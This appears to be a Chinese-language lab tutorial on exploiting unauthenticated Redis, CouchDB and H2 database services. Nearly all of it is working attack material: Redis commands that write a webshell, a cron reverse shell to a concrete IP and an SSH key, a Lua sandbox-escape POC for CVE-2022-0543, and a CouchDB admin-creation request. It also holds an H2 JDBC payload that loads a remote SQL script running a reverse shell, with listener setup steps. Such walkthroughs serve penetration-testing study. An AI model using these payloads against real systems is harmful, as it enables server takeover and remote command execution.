redis服务默认端口:6379;我们可以通过端口扫描来判断是否存在该服务。
复现环境:
攻击机:本机window11 ip:192.168.1.3
Redis未授权访问
CNVD-2015-07557
我们启动靶场之后,首先使用工具进行连接。发现可以连接成功并且可以执行命令,说明存在未授权访问。(其实攻击方式就是基于拿到了对方执行命令的权限,我们如何攻击)
攻击方式:
- 如果对方服务器存在web服务,我们写webshell(需要有写的权限),利用工具连接,从而拿到服务器权限。
config set dir /tmp #设置WEB写入目录
config set dbfilename 1.php #设置写入文件名
set test "<?php phpinfo();?>" #设置写入文件代码
bgsave #保存执行
save #保存执行
- 写定时任务反弹shell,
利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态。
config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"
config set dbfilename x
save
- 写入Linux ssh-key公钥
ssh-keygen -t rsa
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 目标IP -x set xxx
//以上步骤在自己的攻击机器上执行
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
cd /root/.ssh/
ssh -i id_rsa root@目标IP
上面都是我们自己手动执行命令测试,也可以使用自动化项目,执行命令直接攻击。
项目:https://github.com/n0b0dyCN/redis-rogue-server
运行脚本之前先进入redis-rogue-server-master\RedisModulesSDK\exp目录,然后make一下,生成exp.so的文件,然后再运行python脚本
注意:这里我们拿到的是目标服务器的命令执行权限。而上面是连接到redis的终端,仅仅可以执行redis的命令。
CNVD-2019-21763
由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。
利用项目:https://github.com/vulhub/redis-rogue-getshell
CVE-2022-0543
这个连接到redis之后,我们直接执行命令。
POC:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
Couchdb未授权
CVE-2017-12635(垂直权限绕过)
PUT /_users/org.couchdb.user:xiaodi HTTP/1.1
Host: 192.168.222.8:32571/
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "test",
"roles": ["_admin"],
"roles": [],
"password": "test"
}
CVE-2017-12636(命令执行)
该漏洞可以把终端反弹到我们的攻击机。
脚本:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
我们只需把目标地址和攻击机的地址修改即可,然后我们在攻击机监听端口;执行python脚本即可。
h2database
默认端口:20051
Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。
利用:
1.未授权进入。
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
直接复制上面url到JDBC URL即可进入后台,不需要用户名和密码。
2.RCE执行反弹
h2.sql:CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';
#反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1 (x.x.x为攻击机的ip)
payload(加载远程sql):
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://攻击ip:89/h2.sql';\
- 在攻击机创建一个文件(h2.sql)内容如上
- 然后监听89端口(命令:python -m http.server 89)
- 可以尝试访问一下该sql文件能否正常访问下载
- 在JDBC URL中输入payload(加载我们上面创建的sql文件)
- 攻击机我们新建一个终端,然后监听端口8888(nc -lvvp 8888);等待目标的终端反弹